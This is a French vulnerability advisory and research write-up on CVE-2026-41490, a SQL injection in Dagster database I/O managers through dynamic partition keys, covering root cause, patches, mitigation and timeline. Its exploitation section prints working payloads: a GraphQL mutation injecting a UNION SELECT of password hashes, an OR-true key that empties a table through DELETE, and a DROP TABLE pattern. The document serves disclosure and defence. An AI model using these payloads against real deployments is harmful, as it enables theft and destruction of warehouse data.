CVE-2026-41490
CVSS 8.3 · Élevée CorrigéCVE-2026-41490 : injection SQL dans les I/O managers de Dagster via les clés de partition dynamiques
Les I/O managers DuckDB, Snowflake, BigQuery et DeltaLake de Dagster recopiaient les clés de partition dynamiques dans le SQL : ajouter une partition suffisait.
Pour décider
- Impact
- Une clé de partition peut modifier les requêtes SQL exécutées sur l’entrepôt de données.
- Conditions
- Il faut pouvoir ajouter une partition dynamique et lancer un run. L’impact dépend des droits de l’I/O manager.
- Action recommandée
- Mettre à jour Dagster en 1.13.1 et les intégrations concernées en 0.29.1, ou versions ultérieures.
Fiche de l’avis
- Produit
- Dagster
- Paquet
- pypi · dagster, dagster-duckdb, dagster-snowflake, dagster-gcp, dagster-deltalake, dagster-snowflake-polars
- Versions affectées
- dagster ≤ 1.13.0, integrations ≤ 0.29.0
- Corrigé dans
- dagster 1.13.1, integrations 0.29.1
- CVSS
- 8.3 Élevée
- Faiblesse
- CWE-89
- Accès requis
- Compte requis
- Avis publié
- Crédit
- rootzero
Synthèse de l’enquête
Cinq I/O managers de bases de données de Dagster construisaient la clause WHERE de leurs SELECT et DELETE en plaçant les clés de partition entre apostrophes, sans échappement. Avec une DynamicPartitionsDefinition, ces clés sont créées à l’exécution via l’API GraphQL : quiconque peut ajouter une partition et lancer un run exécute du SQL sur l’entrepôt avec les identifiants de l’I/O manager. Corrigé dans dagster 1.13.1 et les intégrations 0.29.1.
La clé de partition devenue SQL
Dans l’I/O manager DuckDB de Dagster, nous avons repéré une fonction qui entourait chaque clé de partition d’apostrophes pour construire une clause SQL, sans échapper la clé elle-même. Ce n’était exploitable que si quelqu’un d’autre que le développeur pouvait créer cette valeur. Nous avons donc remonté le chemin à addDynamicPartition : la mutation GraphQL accepte une clé choisie à l’exécution, et les caractères utiles à la sortie de la chaîne SQL n’étaient pas interdits.
Nous avons suivi la clé jusqu’au TableSlice, puis reproduit le constructeur SQL dans une petite fixture DuckDB avec une table de données et une seconde figurant des secrets. La copie de la fonction a produit une requête UNION qui renvoyait les lignes de cette seconde table. Notre PoC soumis imprimait les mutations GraphQL qui fourniraient la clé ; il ne conserve pas d’exécution sur un webserver Dagster réel. La même construction existait dans plusieurs I/O managers, ce qui a transformé le cas DuckDB en recherche de variantes sur cinq intégrations SQL. Notre signalement est arrivé pendant une coordination où d’autres chercheurs avaient aussi identifié le problème ; nous ne revendiquons pas l’exclusivité de la découverte. Dagster a intégré l’échappement le 14 avril 2026, complété Snowflake Polars le 17 et publié 1.13.1 avec l’avis CVE-2026-41490. L’effet d’une injection dépend toujours des droits de la connexion à l’entrepôt.
Quand une clé de partition atteint l’entrepôt
Dagster transmet les clés de partition à des I/O managers qui lisent ou remplacent des lignes dans l’entrepôt de données. Les clés de partition dynamiques peuvent être ajoutées à l’exécution au lieu d’être figées dans le code du pipeline : leur origine est donc centrale ici.
Le lien entre un asset et une base passe par un I/O manager. Les intégrations officielles en fournissent un par moteur : DuckDB, Snowflake, BigQuery (dans dagster-gcp), DeltaLake, et Snowflake avec Polars. Quand un asset est partitionné, l’I/O manager ne lit ou ne remplace que les lignes de la partition demandée, ce qui l’oblige à écrire une clause WHERE à partir de la clé de partition. Ces managers détiennent des identifiants sur l’entrepôt, souvent avec un droit d’écriture sur des tables de production.
Il existe plusieurs sortes de partitions. Les partitions statiques et temporelles sont fixées dans le code. Une DynamicPartitionsDefinition fonctionne autrement : ses clés sont stockées dans la base de métadonnées de Dagster et ajoutées à l’exécution, depuis un sensor, depuis l’interface ou via la mutation GraphQL addDynamicPartition.
Lire la clause WHERE générée
La lecture de l’I/O manager DuckDB fait apparaître une courte fonction qui transforme les clés de partition en liste SQL :
def _static_where_clause(table_partition):
partitions = ", ".join(f"'{partition}'" for partition in table_partition.partitions)
return f"""{table_partition.partition_expr} in ({partitions})"""
Chaque clé est entourée d’apostrophes, sans aucun échappement. Pour une clé écrite par un développeur dans le code, comme 2024-01-01 ou customer_a, c’est sans conséquence. Nous avons alors vérifié si quelqu’un d’autre que l’auteur du pipeline pouvait choisir partition.
Les partitions dynamiques y répondent. La mutation addDynamicPartition accepte n’importe quelle chaîne comme partitionKey. Dagster tient bien une liste de sous-chaînes interdites dans les clés de partition (... et une série de caractères de contrôle), mais l’apostrophe, le point-virgule et le double tiret n’en font pas partie. La clé est stockée telle quelle, puis atteint l’I/O manager sans modification, à travers les dimensions de partition du TableSlice que le run transmet à _static_where_clause.
La même fonction s’est révélée copiée-collée dans chaque intégration SQL, ce qui a transformé la recherche en analyse de variantes sur plusieurs paquets :
| Paquet | Fichier |
|---|---|
| dagster-duckdb | dagster_duckdb/io_manager.py:340-342 |
| dagster-snowflake | dagster_snowflake/snowflake_io_manager.py:434-436 |
| dagster-gcp (BigQuery) | dagster_gcp/bigquery/io_manager.py:472-474 |
| dagster-deltalake | dagster_deltalake/io_manager.py:265-267 |
| dagster-snowflake-polars | dagster_snowflake_polars/snowflake_polars_type_handler.py:74 |
Le handler Snowflake Polars n’appelle pas la fonction : il construit son propre DELETE avec f"{dim.partition_expr} = '{dim.partitions[0]}'", soit la même erreur écrite en ligne.
Cause racine
Les clés de partition étaient traitées comme des constantes de confiance. Cette hypothèse tient pour les partitions statiques et tombe dès qu’une DynamicPartitionsDefinition en fait une donnée modifiable hors du code. Le résultat est une injection SQL classique (CWE-89) : une valeur est placée dans un littéral de chaîne par concaténation, au lieu d’être passée en paramètre ou échappée.
Les deux sens de l’I/O manager utilisent cette clause :
query = f"SELECT {col_str} FROM {schema}.{table} WHERE\n" + _partition_where_clause(...) # load_input
query = f"DELETE FROM {schema}.{table} WHERE\n" + _partition_where_clause(...) # nettoyage de handle_output
Lors de la matérialisation d’une partition, handle_output supprime d’abord les lignes existantes de cette partition, puis écrit les nouvelles. Quand un asset en aval charge cette partition, load_input exécute le SELECT. Une clé forgée atteint donc la base sur le chemin d’écriture, puis à nouveau à chaque lecture.
Exploitation
L’attaque tient en deux appels GraphQL au webserver, sur un déploiement où un asset utilise une définition de partitions dynamiques et l’un des I/O managers concernés. Le premier crée la clé malveillante :
POST /graphql HTTP/1.1
Content-Type: application/json
{"query": "mutation { addDynamicPartition(repositorySelector: {repositoryLocationName: \"__repository__\", repositoryName: \"__repository__\"}, partitionsDefName: \"my_dynamic_partitions\", partitionKey: \"') UNION SELECT username, password_hash FROM secret_table; --\") { ... on AddDynamicPartitionSuccess { partitionsDefName partitionKey } } }"}
Le second lance un run du job de l’asset pour cette partition, via launchRun avec le tag dagster/partition positionné sur la même clé. L’I/O manager envoie alors des requêtes de ce type :
SELECT * FROM schema.table WHERE
partition_col in ('') UNION SELECT username, password_hash FROM secret_table; --')
L’apostrophe ferme le littéral, la parenthèse ferme la liste et le -- final met en commentaire ce que le template ajoute. Sur le chemin du DELETE, un UNION n’est pas valide, mais une clé qui reste dans l’expression l’est : avec ') OR ('1'='1, le nettoyage devient DELETE FROM schema.table WHERE partition_col in ('') OR ('1'='1') et vide la table entière. Les requêtes empilées comme '); DROP TABLE ...; -- dépendent de l’acceptation, par le driver de la base, de plusieurs instructions dans un même appel.
La preuve de concept publique affiche la clause générée pour des clés légitimes et malveillantes, exécute une lecture par UNION et un DROP TABLE sur une base DuckDB locale préparée pour l’occasion, et imprime les deux payloads GraphQL. La destination des lignes renvoyées par un SELECT injecté dépend du pipeline : elles sont chargées dans l’asset en aval comme s’il s’agissait des données de la partition.
Impact
L’éditeur note la vulnérabilité 8,3 avec PR:L, et le write-up la décrit comme exploitable sans authentification. Les deux lectures sont justes, chacune pour un type de déploiement.
Dans Dagster open source, dagster-webserver n’a pas d’authentification propre. Sauf s’il est lancé en mode lecture seule, tout client qui l’atteint peut appeler les mutations, dont addDynamicPartition et launchRun. Sur une instance exposée au réseau de l’entreprise, ou placée derrière un proxy qui n’authentifie pas, l’attaquant n’a besoin d’aucun compte. Noté avec PR:N, le même vecteur atteindrait 9,4.
L’avis raisonne à partir des permissions. La mutation exige EDIT_DYNAMIC_PARTITIONS, que Dagster+ accorde par défaut au rôle Editor et aux rôles supérieurs, et ces utilisateurs peuvent en général déjà modifier le code des assets et les tables qu’ils écrivent. Pour Dagster, le défaut compte surtout là où cette permission a été accordée séparément de l’accès à la base, dans des configurations multi-tenant ou à RBAC personnalisé, et les déploiements OSS doivent évaluer qui peut joindre l’API.
L’enjeu est l’entrepôt. Le SQL injecté s’exécute avec les identifiants de l’I/O manager, qui lisent et écrivent les tables orchestrées par Dagster, et souvent davantage dans la même base. Un attaquant peut lire d’autres tables, supprimer ou modifier des lignes et, par le chemin de nettoyage, vider une table à la matérialisation suivante. Seuls les déploiements qui combinent partitions dynamiques et l’un des I/O managers concernés sont exposés ; les partitions statiques et temporelles ne le sont pas.
Le problème a été signalé indépendamment par plusieurs chercheurs : l’avis crédite alexwaira et vyprsec-research aux côtés de notre chercheur.
Correctif
Le correctif principal est le commit 8dcd9bf. Il supprime les quatre copies de _static_where_clause et les remplace par une fonction unique dans dagster/_core/storage/db_io_manager.py, que chaque intégration importe désormais :
# python_modules/dagster/dagster/_core/storage/db_io_manager.py (1.13.1)
def escape_sql_string_literal(value: str) -> str:
return value.replace("'", "''")
def static_where_clause(table_partition: TablePartitionDimension) -> str:
check.invariant(
not isinstance(table_partition.partitions, TimeWindow),
"static_where_clause should not be called with TimeWindow partitions",
)
partition_keys = cast("Sequence[str]", table_partition.partitions)
partitions = ", ".join(
f"'{escape_sql_string_literal(partition)}'" for partition in partition_keys
)
return f"""{table_partition.partition_expr} in ({partitions})"""
Le même commit échappe les valeurs de type chaîne dans _format_predicate_value de DeltaLake, un second point d’interpolation de dagster_deltalake/handler.py absent de la liste initiale, et lui fait lever une erreur sur les types non pris en charge au lieu de renvoyer str(value). Un commit de suivi, 2c86620, remplace le DELETE écrit en ligne du handler Snowflake Polars par la fonction partagée partition_where_clause de Snowflake. Les deux commits ajoutent des tests de non-régression avec une clé contenant une apostrophe (it's a test) sur les requêtes de lecture et de nettoyage.
C’est la centralisation de la fonction qui ferme les variantes : un seul endroit reste désormais à maintenir correct. Le correctif choisit l’échappement, l’une des deux solutions proposées par le write-up avec les requêtes paramétrées, et conserve le code existant de construction des requêtes. Les deux commits sont livrés dans Dagster 1.13.1 et les intégrations 0.29.1.
Détection et mitigation
- Mettre à jour
dagsteren 1.13.1 et les paquets d’intégration en 0.29.1 ou au-delà. D’après l’avis, seules les dépendances de la code location doivent être mises à jour ; le webserver, le daemon et l’agent Dagster+ n’en ont pas besoin. - Si la mise à jour doit attendre, appliquer les snippets de backport publiés par un mainteneur, qui remplacent
_static_where_clause(et le formatage des prédicats DeltaLake) au moment de l’import, à partir de Dagster 1.1.21. Ils ne couvrent pas le handler Snowflake Polars. - Ne pas exposer un
dagster-webserveropen source sans reverse proxy authentifiant, et utiliser son mode lecture seule pour les publics qui n’ont besoin que de consulter les runs. - Dans Dagster+, vérifier quels rôles détiennent la permission
Add Dynamic Partitions, en particulier lorsqu’elle a été accordée à des utilisateurs sans accès direct à la base sous-jacente. - Passer en revue les clés de partition dynamiques existantes, dans l’interface ou dans le stockage de l’instance, à la recherche d’apostrophes, de points-virgules, de
--, deUNIONou deOR. Les clés légitimes sont en général des identifiants, des dates ou des noms de fichiers. - Côté entrepôt, examiner l’historique des requêtes du compte de service de l’I/O manager pour repérer les
SELECTouDELETEdont le prédicat de partition contient autre chose qu’une liste de valeurs entre apostrophes.
Chronologie
| Date | Événement |
|---|---|
| 29/03/2026 | Ouverture d’un avis de sécurité privé sur le dépôt Dagster |
| Avant le 14/04/2026 | Signalements indépendants de plusieurs chercheurs, dont celui-ci |
| 14/04/2026 | Correctif d’échappement intégré au code (8dcd9bf) |
| 16/04/2026 | Publication par un mainteneur de snippets de backport pour les anciennes versions |
| 17/04/2026 | Correctif Snowflake Polars intégré (2c86620), publication de Dagster 1.13.1 et de l’avis GHSA-mjw2-v2hm-wj34 |
| 07/05/2026 | Publication de CVE-2026-41490 dans la NVD |
| Après l’avis | Publication de la preuve de concept |
Références
- Avis de l’éditeur · CVE-2026-41490 github.com/dagster-io/dagster/security/advisories/GHSA-mjw2-v2hm-wj34
- Fiche NVD · CVE-2026-41490 nvd.nist.gov/vuln/detail/CVE-2026-41490
- Fiche CVE.org · CVE-2026-41490 www.cve.org/CVERecord?id=CVE-2026-41490
- MITRE CWE-89 cwe.mitre.org/data/definitions/89.html
- Dépôt du projet github.com/dagster-io/dagster
- Preuve de concept et notes de reproduction github.com/romain-deperne/CVE-2026-41490
Citer cet avis
rootzero. « CVE-2026-41490 : injection SQL dans les I/O managers de Dagster via les clés de partition dynamiques ». Recherche de vulnérabilités, rootzero, 17 avril 2026. https://rootzero.eu/research/cve/cve-2026-41490-dagster-sql-injection/
#Recherche de vulnérabilités
Faites auditer votre code avant qu’un autre ne le fasse.
Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.